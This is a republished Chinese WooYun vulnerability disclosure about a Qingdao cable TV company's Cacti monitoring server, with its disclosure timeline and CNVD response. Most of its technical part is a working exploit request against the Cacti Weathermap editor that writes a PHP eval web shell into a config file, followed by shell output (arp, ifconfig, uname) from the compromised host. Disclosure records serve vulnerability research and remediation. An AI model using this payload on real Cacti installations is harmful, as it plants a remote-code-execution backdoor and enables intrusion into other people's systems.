青岛有线电视网络公司支撑监控系统漏洞导致Getshell

admin
admin
admin
139803
文章
114
评论
2017年5月7日01:43:33评论542 views字数 3263阅读10分52秒阅读模式
摘要

2016-03-14： 细节已通知厂商并且等待厂商处理中
2016-03-18： 厂商已经确认，细节仅向厂商公开
2016-03-28： 细节向核心白帽子及相关领域专家公开
2016-04-07： 细节向普通白帽子公开
2016-04-17： 细节向实习白帽子公开
2016-05-02： 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2016-184525

漏洞标题： 青岛有线电视网络公司支撑监控系统漏洞导致Getshell

相关厂商： 青岛有线电视网络公司

漏洞作者： 路人甲

提交时间： 2016-03-14 16:17

公开时间： 2016-05-02 15:01

漏洞类型： 重要敏感信息泄露

危害等级： 中

自评Rank： 10

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 默认配置不当

1人收藏

漏洞详情

披露状态：

2016-03-14： 细节已通知厂商并且等待厂商处理中
2016-03-18： 厂商已经确认，细节仅向厂商公开
2016-03-28： 细节向核心白帽子及相关领域专家公开
2016-04-07： 细节向普通白帽子公开
2016-04-17： 细节向实习白帽子公开
2016-05-02： 细节向公众公开

简要描述：

···

详细说明：

青岛有线电视网络公司支撑监控系统

cacti

**.**.**.**/

code 区域 
**.**.**.**/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=%3C?php%20echo(md5(1));@eval($_POST[0]);?%3E&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name
 
 **.**.**.**/plugins/weathermap/editor.php
 
 **.**.**.**/plugins/weathermap/configs/test.php

shell

青岛有线电视网络公司支撑监控系统漏洞导致Getshell

 

code 区域 
[Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686(apache)]
 
 
 />arp -a
 qdaaa_4 (**.**.**.**) at 00:23:7d:3d:0d:7e [ether] on eth1
 ? (**.**.**.**) at 3c:8c:40:ab:d9:33 [ether] on eth1
 ? (**.**.**.**) at 00:0f:e2:64:ff:ce [ether] on eth1
 ? (**.**.**.**) at 00:18:82:83:6e:d2 [ether] on eth0
 qdaaa_5 (**.**.**.**) at 00:23:7d:3d:0d:c9 [ether] on eth1
 ? (**.**.**.**) at ec:9a:74:6a:8b:a6 [ether] on eth1
 ? (**.**.**.**) at 58:6a:b1:e3:16:81 [ether] on eth1
 ? (**.**.**.**) at 00:0f:e2:9c:3f:06 [ether] on eth1
 ? (**.**.**.**) at 50:65:f3:f4:74:40 [ether] on eth1
 
 
 />ifconfig
 eth0      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7E  
           inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
           inet6 addr: fe80::21e:bff:fec0:17e/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:1285215873 errors:0 dropped:0 overruns:0 frame:0
           TX packets:1136202676 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000 
           RX bytes:1956170961 (1.8 GiB)  TX bytes:1592978053 (1.4 GiB)
           Interrupt:16 Memory:f8000000-f8012800 
 
 eth1      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7C  
           inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
           inet6 addr: fe80::21e:bff:fec0:17c/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:13251602 errors:0 dropped:0 overruns:0 frame:0
           TX packets:12305121 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000 
           RX bytes:1542506344 (1.4 GiB)  TX bytes:1186309808 (1.1 GiB)
           Interrupt:17 Memory:fa000000-fa012800 
 
 lo        Link encap:Local Loopback  
           inet addr:**.**.**.**  Mask:**.**.**.**
           inet6 addr: ::1/128 Scope:Host
           UP LOOPBACK RUNNING  MTU:16436  Metric:1
           RX packets:12324557 errors:0 dropped:0 overruns:0 frame:0
           TX packets:12324557 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:0 
           RX bytes:1855388997 (1.7 GiB)  TX bytes:1855388997 (1.7 GiB)
 
 
 
 />uname -a
 Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686 i686 i386 GNU/Linux
 
 
 />

ok

漏洞证明：

```

修复方案：

改

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-18 15:01

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态：

暂无

 

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月7日01:43:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   青岛有线电视网络公司支撑监控系统漏洞导致Getshellhttp://cn-sec.com/archives/44358.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息